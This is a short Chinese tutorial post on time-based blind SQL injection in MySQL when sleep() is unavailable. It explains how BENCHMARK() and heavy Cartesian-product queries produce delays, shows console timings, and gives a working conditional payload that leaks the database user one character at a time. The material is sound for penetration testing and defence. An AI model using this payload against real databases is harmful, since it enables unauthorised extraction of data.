在某些情况下进行时间盲注的时候,如果sleep()函数无法使用,我们可以使用以下两种方式来达到延时的效果。
1.benchmark()
benchmark是Mysql的一个内置函数,其作用是来测试一些函数的执行速度。benchmark()中带有两个参数,第一个是执行的次数,第二个是要执行的函数或者是表达式
mysql> select BENCHMARK(10000,md5('a')); +---------------------------+ | BENCHMARK(10000,md5('a')) | +---------------------------+ | 0 | +---------------------------+ 1 row in set (0.00 sec) mysql> select BENCHMARK(1000000,md5('a')); +-----------------------------+ | BENCHMARK(1000000,md5('a')) | +-----------------------------+ | 0 | +-----------------------------+ 1 row in set (0.33 sec) mysql> select BENCHMARK(10000000,md5('a')); +------------------------------+ | BENCHMARK(10000000,md5('a')) | +------------------------------+ | 0 | +------------------------------+ 1 row in set (2.93 sec)
可以看到,执行不同的次数那么执行的时间也就不一样,通过这个函数我们可以达到与sleep()同样的延时目的。
测试:
mysql> select 1 and if((substr(user(),1,1)='r'),BENCHMARK(10000000,md5('a')),1); +-------------------------------------------------------------------+ | 1 and if((substr(user(),1,1)='r'),BENCHMARK(10000000,md5('a')),1) | +-------------------------------------------------------------------+ | 0 | +-------------------------------------------------------------------+ 1 row in set (2.90 sec)
2.heavy query
heavy query顾名思义就是通过做大量的查询导致查询时间较长来达到延时的目的。通常选择一些比较大的表做笛卡尔积运算。

参考链接:
http://www.sqlinjection.net/heavy-query/
本文介绍在无法使用sleep()函数的情况下,如何利用benchmark()函数和heavyquery技术实现SQL延迟注入攻击。benchmark()函数可通过重复执行特定操作达到延时效果;heavyquery则通过大量查询来制造延迟。
553

被折叠的 条评论
为什么被折叠?



